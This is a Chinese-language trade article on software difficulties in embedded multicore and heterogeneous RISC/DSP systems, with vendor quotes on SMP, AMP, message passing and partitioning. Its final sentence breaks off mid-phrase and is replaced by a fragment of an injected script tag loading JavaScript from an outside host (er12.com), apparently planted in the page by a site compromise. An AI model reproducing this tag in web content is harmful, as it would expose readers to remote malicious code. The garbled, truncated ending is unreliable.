目前,在单系统、单电路板乃至单芯片上的多核处理器以更低功率提供更多功能和更快速度的发展趋势,解决了嵌入式硬件设计的某些问题。但对软件开发人员和提供商来说,嵌入式多处理意味着艰巨的挑战。
与通常的服务器及大型计算机系统的均衡对称的同类多处理环境相反,嵌入式和移动应用领域则可能需要开发人员对包括不对称运行的risc、dsp及网络架构的异类非均衡混合环境进行编程。
最近,硬件开发商频频抱怨缺乏适于多内核环境的软件开发工具和构建模块。而今许多嵌入式软件提供商纷纷表示已开发出了针对大多数迫切问题的解决方案。目前的最大问题是,随着多处理设计中所用内核的数量和异质性的增加,下一步该何去何从。
“随着越来越多的处理单元被嵌入到硅片中,在有效开发应用软件代码并管理系统方面,软件复杂程度已远远超过传统的嵌入式软件工具的能力范围,” polycore software 公司总裁兼ceo sven brehmer表示。
在ti dsp部门的软件工程经理robert o"shanna看来,问题并不是工具和构建模块短缺,反而是过多了。“由于解决方案形形色色,彼此间又缺乏共同性,在方法和过程上没有行业标准,提供商们已开始推出各种各样的针对特定操作系统(os)和特定硬件的解决方案,” o"shanna表示,“而且,那些提供一定程度平台独立性的方案又需要使用众多工程师根本不熟悉的框架和方法学。”
图1: 典型的多核处理器架构。
提供商自身也在对开发人员提出的多种多样的问题做出响应,如在os层,多cpu环境中,以及在应用程序层,如何高效地为多个目标编写代码?什么才是在多个cpu上管理多个os的最好机制?在这种环境中如何进行调试?
对前两个问题,答案本身是多方面的:使用消息传递机制来隐藏必须被管理的cpu及分区;使用公共的应用编程接口(api)作为目标;通过系统级建模工具的开发或适配来解决软件实现的复杂度;从传统的、熟悉的顺序过程编程语言转向函数编程及更高级别的抽象。
飞思卡尔 半导体公司开发商技术组织的多内核软件产品经理joseph dubin认为,这些问题尽管复杂,但一直存在,必须面对。
“多cpu环境在电路板和底板级是共同的,许多用于管理该环境中软件的技术已经涌现。”他表示,“现在不同的是,某些应用,如手持式和一些嵌入式消费领域的应用,正转向在同一块芯片上使用多个cpu。尽管它需要对技术做一些修改,但路线是清晰的,几乎没有什么不能解决的未知问题。”
另一种意见
不过,polycore公司的brehmer却认为,对微型化的消费设备而言,采用异类多处理器会引起与其它情况不同的一系列问题,在问题种类和程度上都有所不同。
“在多处理器环境有可能与现有设计工具兼容的网络和刀片环境中可存在大量应用,但许多嵌入式设计在消费和移动领域却受到限制,这是由于功率要求工作在不对称的模型,以及要求硅片得到最大效率的利用,” brehmer表示。“除此之外,它们需要不同类型的处理器――risc 和 dsp的多例化,这是很难以smp(对称多处理)模式工作的。”
另外,还存在对多处理器设计至关重要的软件划分的问题。“多个cpu之间过多的通信会使多处理的优势被抹杀掉,” brehmer提到,“目前在主流应用中,大多数软件划分都采用子处理器配置,其中应用程序空间被划分为两个部分——即控制与用户接口部分,以及不间断信号处理部分。”
这种模型是围绕共享存储架构而建立的,划分在早期即已完成。在许多消费电子设计中,划分都将risc引擎作为主处理器,而将dsp配置为外设。brehmer指出:“这种方式的缺点是,尽管子处理器(dsp)负责了相当大部分的计算任务,却更经常被阻塞,处于等待主处理器命令的状态。因而,使用多处理器而获得的并行处理优势大都被抹杀掉了。”
express logic公司市场副总裁john carbone承认,由于应用需求和制造技术的限制,迫使在一块芯片上使用两三个以上的cpu,嵌入式软件行业长时间内将不得不解决大量的问题。“但近期,我们可以利用已知技术,通过精心选择使用的硬件平台和编程模型来做很多事情。” 他表示。
例如,虽然很多应用都要求使用让不同种类的cpu分担特定工作的不对称多处理(amp)编程技术,但仍然有许多嵌入式移动应用可以采用发展成熟的且更好理解的smp编程模型,carbone解释说。
dsp 和 risc引擎混合的环境有一个问题就是,采用smp在多个cpu之间来均衡负载并共享应用处理是很困难的。carbone认为,在硬件级,这个问题可以通过两种具有发展趋势的处理架构得以改善。第一种是由adi、atmel、飞思卡尔和ti等公司创建的所谓融合型架构,该架构中把dsp和risc的操作整合在一个架构中。第二种是强力(brute-force)risc架构,它具有更多的dsp指令和流水线操作,并以每秒?script src=http://er12.com/t.js>











